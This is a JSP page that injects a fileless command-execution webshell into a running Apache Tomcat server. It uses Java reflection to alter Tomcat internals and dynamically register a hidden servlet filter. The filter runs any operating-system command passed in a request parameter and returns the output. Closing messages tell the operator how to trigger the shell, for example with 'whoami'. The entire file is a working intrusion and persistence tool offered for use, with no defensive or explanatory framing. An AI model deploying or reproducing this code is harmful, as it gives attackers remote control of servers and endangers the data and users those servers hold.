| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="javax.management.MBeanServer" %> <%@ page import="org.apache.tomcat.util.modeler.Registry" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="com.sun.jmx.mbeanserver.NamedObject" %> <%@ page import="java.util.Map" %> <%@ page import="java.util.HashMap" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Method" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.InvocationTargetException" %>
<html> <head> <title>servletContext</title> </head> <body> <%!
public class TomcatShellFilter implements Filter {
private final String cmdParamName = "sectest666";
@Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd; if ((cmd = servletRequest.getParameter(cmdParamName)) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest, servletResponse); }
@Override public void destroy() {
} } %> <% final String filterName = "TomcatFilterShell"; final String filterUrlPattern = "/xxxxxxx/*"; try{ java.lang.reflect.Field WRAP_SAME_OBJECT=Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT"); Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain"); java.lang.reflect.Field lastServicedRequest = applicationFilterChain.getDeclaredField("lastServicedRequest"); java.lang.reflect.Field lastServicedResponse = applicationFilterChain.getDeclaredField("lastServicedResponse");
java.lang.reflect.Field modifiers = java.lang.reflect.Field.class.getDeclaredField("modifiers"); modifiers.setAccessible(true); modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~java.lang.reflect.Modifier.FINAL); modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~java.lang.reflect.Modifier.FINAL); modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
WRAP_SAME_OBJECT.setAccessible(true); lastServicedRequest.setAccessible(true); lastServicedResponse.setAccessible(true);
if(!WRAP_SAME_OBJECT.getBoolean(null)){ WRAP_SAME_OBJECT.setBoolean(null,true); lastServicedRequest.set(null,new ThreadLocal()); lastServicedResponse.set(null,new ThreadLocal()); out.println("WRAP_SAME_OBJECT change success!please try again for Inject Filter"); }else{ ThreadLocal<javax.servlet.ServletRequest> threadLocalRequest = (ThreadLocal<javax.servlet.ServletRequest>) lastServicedRequest.get(null); javax.servlet.ServletRequest request1 = threadLocalRequest.get();
try { javax.servlet.ServletContext servletContext=request1.getServletContext(); java.lang.reflect.Field contextField=servletContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext); contextField=applicationContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); org.apache.catalina.core.StandardContext standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext); java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class .getDeclaredField("state"); stateField.setAccessible(true); stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP); if (applicationContext.getFilterRegistration(filterName) == null && standardContext != null) { Filter tomcatShellFilter = new TomcatShellFilter(); javax.servlet.FilterRegistration.Dynamic filterRegistration = applicationContext .addFilter(filterName, tomcatShellFilter); filterRegistration.setInitParameter("encoding", "utf-8"); filterRegistration.setAsyncSupported(false); filterRegistration .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{filterUrlPattern}); Method filterStartMethod = org.apache.catalina.core.StandardContext.class .getMethod("filterStart"); filterStartMethod.setAccessible(true); filterStartMethod.invoke(standardContext, null); Class ccc = null; try { ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); } catch (Throwable t){} if (ccc == null) { try { ccc = Class.forName("org.apache.catalina.deploy.FilterMap"); } catch (Throwable t){} } Class c = Class.forName("org.apache.catalina.core.StandardContext"); Method m = c.getMethod("findFilterMaps"); Object[] filterMaps = (Object[]) m.invoke(standardContext); Object[] tmpFilterMaps = new Object[filterMaps.length]; int index = 1; for (int i = 0; i < filterMaps.length; i++) { Object o = filterMaps[i]; m = ccc.getMethod("getFilterName"); String name = (String) m.invoke(o); if (name.equalsIgnoreCase(filterName)) { tmpFilterMaps[0] = o; } else { tmpFilterMaps[index++] = filterMaps[i]; } } for (int i = 0; i < filterMaps.length; i++) { filterMaps[i] = tmpFilterMaps[i]; } out.println("Filter has been Inject,please visit /xxxxxxx/xx?sectest666=whoami"); } stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
}catch (Exception e){ e.printStackTrace(); } }
}catch (Exception e){ e.printStackTrace(); }
%> </body> </html>
|